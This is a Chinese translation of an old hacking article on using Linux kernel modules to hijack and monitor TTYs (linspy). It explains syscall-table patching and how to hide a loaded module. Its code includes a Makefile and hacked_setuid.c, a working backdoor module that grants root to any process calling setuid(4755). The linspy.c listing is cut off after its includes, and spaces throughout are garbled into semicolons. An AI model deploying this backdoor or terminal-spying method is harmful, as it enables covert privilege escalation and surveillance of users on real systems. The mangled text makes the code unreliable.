电脑技术学习

利用linux内核模块实现TTY hijacking

dn001
简介
------------
加载模块是linux中非常有用而又很重要的一项技术,;因为它可以使你在你需要的
时候加载设备的驱动程序。;然而,;也有它坏的一面:;它使内核hacking非常容易。
当你再也无法信任你的kernel的时候会发生些什么呢...?这篇文章的目的就是以简单的
思路来介绍内核模块的利用。

系统调用
------------
系统调用,是一些可以被利用的底层函数,;他们在核心内部执行。在本文中,;它被利
用来让我们写一个非常简单的tty;截获/监控。所有的代码均在linux系统上面编写并测
试通过,并且不可以被编译运行倒其他系统上。好!让我们开始hacking;kernel!

TTY;截获,;就象tap和ttywatcher等程序是在Solaris,SunOS等其他带STREAMS系统中
很常见,;但是迄今为止在linux平台上就没有这么有用的tty;hijacker(注:;我不考虑那种
基于pty的代码就象telnetsnoop程序那样的截获,;也不十分有用,因为你必须尽早准备监控
系统用户).

因为现在的linux系统普遍缺乏STREAMS;(LinSTREAMS似乎就要消失了),所以我们必须
选择一个方法来监控流(stream)。屏蔽击键的问题已经解决,因为我们可以利用TIOCSTI
这个ioctl调用宏来阻塞击键到标准输入流。;一个解决方案,;当然,;就是改变write(2)系
统调用到我们的代码,代码的作用是假如指向我们想要的tty就纪录下来;;我们可以在后面调用
真实的write(2)系统调用。

很明显,;一个设备驱动会很好地工作。我们可以通过读这个设备来获得已经被纪录的数据,
并且增加一个或两个ioctl来告诉我们的代码确定我们想纪录的那个tty。


改变系统调用
---------------------------
系统调用可以非常简单的就可以被改变成我自己的代码了。它的工作原理有点象dos系统
里的终端机制以及常驻代码。我们把原来的地址保存到一个变量,;然后设一个新的指针指向
我们的代码。在我们的代码里,;我们可以做一切事情,;当我们结束之后再调用原来的代码。
(译者注:这里是简单介绍了lkm的原理,但太过于简单了。)

一个非常简单的例程就包含在hacked_setuid.c这个文件中,;是一个你可以安装的可加载
模块,并且当它被加载到内核运行时,;一个setuid(4755)将会设置你的uid/euid/gid/egid为0。
(参看附录里面提供的全部代码。)syscalls的地址信息都包含在sys_call_table这个数组里。
这就使我们改变syscalls指向我们自己的代码变的非常简单了。当我们这样做后,很多事情
都变得很简单了...

Linspy的注意事项
--------------------
这个模块是非常容易被发现的,;所有你所做的都会通过cat;/proc/modules来显示的很明
白。但这个问题很好解决,但我这里没有给出解决方法。(译者注:其实隐藏模块自身非常好
实现,把register_symtab(NULL)插入到init_module()函数块中即可限制符号输出于/proc/ksyms。);
用linspy的时候,;你需要创建一个ltap的设备,;主设备号设为40,次设备号为0。好,在这
之后,;运行make程序来insmod;linspy这个设备。当它被加载后,;你可以这样运行:ltread;[tty],
假如模块运行的很好,;你可以发现已经把用户屏幕屏蔽输出了。

源代码;[use;the;included;extract.c;utility;to;unarchive;the;code]
---------------------------------------------------------------------


<++>;linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS;=;-m486;-O6;-pipe;-fomit-frame-pointer;-Wall;$(CONFIG_KERNELD)
CC=gcc
#;this;is;the;name;of;the;device;you;have;(or;will);made;with;mknod
DN;=;‘-DDEVICE_NAME="/dev/ltap"‘
#;1.2.x;need;this;to;compile,;comment;out;on;1.3+;kernels
V;=;#-DNEED_VERSION
MODCFLAGS;:=;$(V);$(CFLAGS);-DMODULE;-D__KERNEL__;-DLINUX

all:;linspy;ltread;setuid

linspy:;linspy.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;linspy.c

ltread:;
$(CC);$(DN);-o;ltread;ltread.c

clean:;
rm;*.o;ltread

setuid:;hacked_setuid.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;hacked_setuid.c

<-->;end;Makefile
<++>;linspy/hacked_setuid.c
int;errno;
#include;<linux/sched.h>
#include;<linux/mm.h>
#include;<linux/malloc.h>
#include;<linux/errno.h>
#include;<linux/sched.h>
#include;<linux/kernel.h>
#include;<linux/times.h>
#include;<linux/utsname.h>
#include;<linux/param.h>
#include;<linux/resource.h>
#include;<linux/signal.h>
#include;<linux/string.h>
#include;<linux/ptrace.h>
#include;<linux/stat.h>
#include;<linux/mman.h>
#include;<linux/mm.h>
#include;<asm/segment.h>
#include;<asm/io.h>
#include;<linux/module.h>
#include;<linux/version.h>
#include;<errno.h>
#include;<linux/unistd.h>
#include;<string.h>
#include;<asm/string.h>
#include;<sys/syscall.h>
#include;<sys/types.h>
#include;<sys/sysmacros.h>
#ifdef;NEED_VERSION
static;char;kernel_version[];=;UTS_RELEASE;
#endif
static;inline;_syscall1(int,;setuid,;uid_t,;uid);/*用_syscall这个系统调用宏来构建setuid调用*/
extern;void;*sys_call_table[];/*调出系统调用表*/
void;*original_setuid;;/*原来的setuid*/
extern;int;hacked_setuid(uid_t;uid)/*我们要替换的setuid*/
{
int;i
if(uid;==;4755)
{
current->uid;=;current->euid;=;current->gid;=;current->egid;=;0;
/*使当前进程的uid,euid,gid,egid为零*/
return;0;
}
sys_call_table[SYS_setuid];=;original_setuid;/*保存原调用*/
i;=;setuid(uid);
sys_call_table[SYS_setuid];=;hacked_setuid;/*替换调用!*/
if(i;==;-1);return;-errno;
else;return;i;
}
int;init_module(void);/*加载*/
{
original_setuid;=;sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid];=;hacked_setuid;
return;0;
}
void;cleanup_module(void);/*卸载*/
{
sys_call_table[SYS_setuid];=;original_setuid;
};
<++>;linspy/linspy.c
int;errno;
#include;<linux/tty.h>
#include;<linux/sched.h>
#include;<linux/mm.h>
#include;<linux/malloc.h>
#include;<linux/errno.h>
#include;<linux/sched.h>
#include;<linux/kernel.h>
#include;<linux/times.h>
#include;<linux/utsname.h>
#include;<linux/param.h>
#include;<linux/resource.h>
#include;<linux/signal.h>
#include;<linux/string.h>
#include;<linux/ptrace.h>
#include;<linux/stat.h>
#include;<linux/mman.h>
#include;<linux/mm.h>
#include;<asm/segment.h>
#include;<asm/io.h>
#ifdef;MODULE
#include;<linux/module.h>
#include;<linux/version.h>
#endif
#include;<errno.h>
#include;<asm/segment.h>
#include;<linux/unistd.h>
#include;<string.h>
#include;<asm/string.h>
#include;<sys/syscall.h>
#include;<sys/types.h>
#include;<sys/sysmacros.h>
#include;<linux/vt.h>

标签: linux